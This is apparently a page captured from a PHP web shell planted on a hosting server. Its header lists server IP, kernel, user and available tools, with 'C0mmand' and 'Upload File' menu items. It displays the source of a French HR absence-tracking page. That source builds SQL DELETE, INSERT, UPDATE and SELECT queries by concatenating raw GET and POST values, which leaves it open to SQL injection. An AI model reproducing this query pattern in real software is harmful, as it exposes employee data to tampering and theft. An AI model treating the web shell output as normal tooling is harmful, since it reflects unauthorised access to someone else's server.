|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'code/init.php' ;
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
if(!empty($_GET['salarie_id']))
{
$_SESSION["salarie_id"]=$_GET['salarie_id'];
}
$salarie_id=$_SESSION["salarie_id"] ;
$salarie_idd=$_SESSION["salarie_id"] ;
$req =dbi_query("SELECT * FROM `absence_type`") ;
// $salarie_id = 87 ;
// $salarie_idd = 87 ;
if($_GET['sup']== 1)
{
dbi_query("DELETE FROM `salarie_absence`
WHERE salarie_absence_id =".$_GET['salarie_absence_id']) ;
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
// echo "bbb <br/>" ;
// exit() ;
}
if(!empty($_POST) and isset($_POST['Enregistrer']))
{
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// echo "bbb <br/>" ;
// exit() ;
$salarie_absence_date_debuta= dateMCPROint($_POST['salarie_absence_date_debut']) ;
$salarie_absence_date_fina= dateMCPROint($_POST['salarie_absence_date_fin']) ;
$salarie_absence_date_debut= $salarie_absence_date_debuta ;
$salarie_absence_heure_debut=$_POST['salarie_absence_heure_debut'] ;
$salarie_absence_date_fin= $salarie_absence_date_fina ;
$salarie_absence_heure_fin=$_POST['salarie_absence_heure_fin'] ;
$absence_type_id=$_POST['absence_type'] ;
dbi_query(" INSERT INTO salarie_absence (
salarie_absence_date_debut,
salarie_absence_heure_debut,
salarie_absence_date_fin,
salarie_absence_heure_fin,
salarie_id,
absence_type_id )
VALUES (
'$salarie_absence_date_debut',
'$salarie_absence_heure_debut',
'$salarie_absence_date_fin',
'$salarie_absence_heure_fin',
$salarie_idd,
'$absence_type_id'
)") ;
}
if(!empty($_GET['salarie_absence_id']) and isset($_POST['Modifier']))
{
$salarie_absence_id= $_POST['salarie_absence_id'] ;
$salarie_absence_date_debuta= dateMCPROint($_POST['salarie_absence_date_debut']) ;
$salarie_absence_date_fina= dateMCPROint($_POST['salarie_absence_date_fin']) ;
$salarie_absence_date_debut= $salarie_absence_date_debuta ;
$salarie_absence_heure_debut=$_POST['salarie_absence_heure_debut'] ;
$salarie_absence_date_fin= $salarie_absence_date_fina ;
$salarie_absence_heure_fin=$_POST['salarie_absence_heure_fin'] ;
$absence_type_id=$_POST['absence_type'] ;
// UPDATE table
// SET colonne_1 = 'valeur 1', colonne_2 = 'valeur 2', colonne_3 = 'valeur 3'
// WHERE condition
dbi_query(" UPDATE salarie_absence SET
salarie_absence_date_debut = '$salarie_absence_date_debut',
salarie_absence_heure_debut = '$salarie_absence_heure_debut',
salarie_absence_date_fin = '$salarie_absence_date_fin',
salarie_absence_heure_fin = '$salarie_absence_heure_fin',
absence_type_id = '$absence_type_id'
where salarie_absence_id = $salarie_absence_id
") ;
}
$q= dbi_fetch_row(dbi_query("SELECT * FROM salarie where salarie_id = ".$salarie_id)) ;
// header('Content-type: text/html; charset=UTF-8');
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title> LogMCPRO | Absences</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<link rel="stylesheet" href="../dist/css/adminlte.min.css">
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<!-- BARRE DE NAVIGATION -->
<?php include('menu.php'); ?>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1 class="m-0 text-dark"></h1>
</div><!-- /.col -->
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
</ol>
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<div class="content">
<div class="container-fluid">
<div class="row">
<!-- DEFINITION DES COLONNES -->
<div class="col-lg-3">
<!-- BARRE DE NAVIGATION DU CLIENT -->
<?php include('menu_rh_param.php'); ?>
</div>
<!-- PASSAGE A LA COLONNE DE DROITE-->
<div class="col-lg-9">
<!-- CARD DE DROITE-->
<div class="card">
<div class="card-header">
<h5 class="m-0"><i class="nav-icon far fa-address-card"></i> ABSENCES</h5>
</div>
<div class="card-body">
<form action="" method="POST">
<?php
$q= dbi_query("SELECT * FROM salarie_absence where salarie_id = ".$salarie_idd) ;
if(!empty($_GET['salarie_absence_id']))
{
$red= dbi_fetch_row(dbi_query("SELECT * FROM salarie_absence where salarie_absence_id = ".$_GET['salarie_absence_id'])) ;
// echo "===>".$red['salarie_absence_date_debut']."<br/>" ;
// echo "===>".$red['salarie_absence_heure_debut']."<br/>" ;
$heurdeb = $red['salarie_absence_heure_debut'] ;
$heurfin = $red['salarie_absence_heure_fin'] ;
}
?>
<div class="form-row">
</div> <!-- ///////Permet de passer à la ligne suivante -->
<!-- ///////Ligne société & Catégorie -->
<!-- ///////Ligne -->
<div class="form-row">
<div class="form-group col-md-2">
<label>Date de Début</label>
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
</div>
<input type="text" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="salarie_absence_date_debut" <?php if(!empty($red['salarie_absence_date_debut']) ) echo "value=".int2date($red['salarie_absence_date_debut']) ;?> placeholder="jj/mm/aaaa">
</div>
</div>
<div class="form-group col-md-2">
<label for="inputAddresse">Heure de Début</label>
<input type="time" id="appt" min="09:00" max="18:00" class="form-control" name="salarie_absence_heure_debut" value="<?=$heurdeb?>" required>
</div>
<div class="form-group col-md-2">
<label>Date de fin</label>
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
</div>
<input type="text" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="salarie_absence_date_fin" <?php if(!empty($red['salarie_absence_date_fin']) ) echo "value=".int2date($red['salarie_absence_date_fin']) ;?> placeholder="jj/mm/aaaa" required>
</div>
</div>
<div class="form-group col-md-2">
<label for="inputsociete">Heure de fin</label>
<input type="time" id="appt" min="09:00" max="18:00" class="form-control" name="salarie_absence_heure_fin" value="<?=$heurfin?>" required>
</div>
<div <div class="form-group col-md-4"><!-- Liste déroulante statut -->
<label>Motif de l'Absence</label>
<select class="form-control" name="absence_type">
<?php
while($etabs = dbi_fetch_row($req))
{
?>
<option value="<?=$etabs['absence_type_id'] ?>" <?php if($red['absence_type_id'] == $etabs['absence_type_id'] )echo 'selected' ; ?> ><?=$etabs['absence_type_description'] ?></option>
<?php
}
?>
</select>
</div>
</div>
<!-- ///////Ligne -->
<!-- ///////Ligne Code Postal & Ville -->
<?php
if(!empty($red['salarie_absence_id']))
{
?>
<input type="hidden" name="salarie_absence_id" value="<?=$red['salarie_absence_id'] ?>">
<button type="submit" name="Modifier" class="btn btn-primary">Modifier</button>
<?php
}
else
{
?>
<button type="submit" name="Enregistrer" class="btn btn-primary">Enregistrer</button>
<?php
}
?>
</form>
</div>
<section class="content">
<div class="row">
<div class="col-12">
</div>
<!-- /.card-header -->
<div class="card-body">
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th>Date de début</th> <!-- /.Table Client - Champs client_nom -->
<th>Heure de début</th> <!-- /.Table Client - Champs client_adr1 -->
<th>Date de fin</th> <!-- /.Table Client - Champs client_cp -->
<th>Heure de fin</th> <!-- /.Table Client - Champs client_ville -->
<th>Motif de l'absence</th>
<th>Editer</th>
</tr>
</thead>
<tbody>
<?php
while($cl=dbi_fetch_row($q))
{
list($motif)= dbi_fetch_row(dbi_query("SELECT absence_motif_description FROM `absence_motif` where absence_motif_id =".$cl['absence_type_id'])) ;
?>
<tr>
<td><?=int2date($cl['salarie_absence_date_debut'])?></td>
<td><?=$cl['salarie_absence_heure_debut'] ?></td>
<td><?=int2date($cl['salarie_absence_date_fin'])?></td>
<td><?=$cl['salarie_absence_heure_fin'] ?></td>
<td><?=$motif ?></td>
<td align="center">
<a class="btn btn-info btn-sm" href="salarie_absence.php?salarie_absence_id=<?=$cl['salarie_absence_id']?>&">
<i class="fas fa-pencil-alt"></i>
</a>
<a class="btn btn-danger btn-sm" href="salarie_absence.php?salarie_absence_id=<?=$cl['salarie_absence_id']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer cette absence?');">
<i class="fas fa-trash">
</i>
</a>
</td>
</tr>
<?php
}
?>
</tbody>
<tfoot>
<tr>
<th>Date de début</th> <!-- /.Table Client - Champs client_nom -->
<th>Heure de début</th> <!-- /.Table Client - Champs client_adr1 -->
<th>Date de fin</th> <!-- /.Table Client - Champs client_cp -->
<th>Heure de fin</th> <!-- /.Table Client - Champs client_ville -->
<th>Motif de l'absence</th>
<th>Editer</th>
</tr>
</tfoot>
</table>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</section>
</div>
</div>
</div>
</div>
<!-- /.col-md-6 -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
<div class="p-3">
<h5>Title</h5>
<p>Sidebar content</p>
</div>
</aside>
<!-- /.control-sidebar -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
</body>
</html>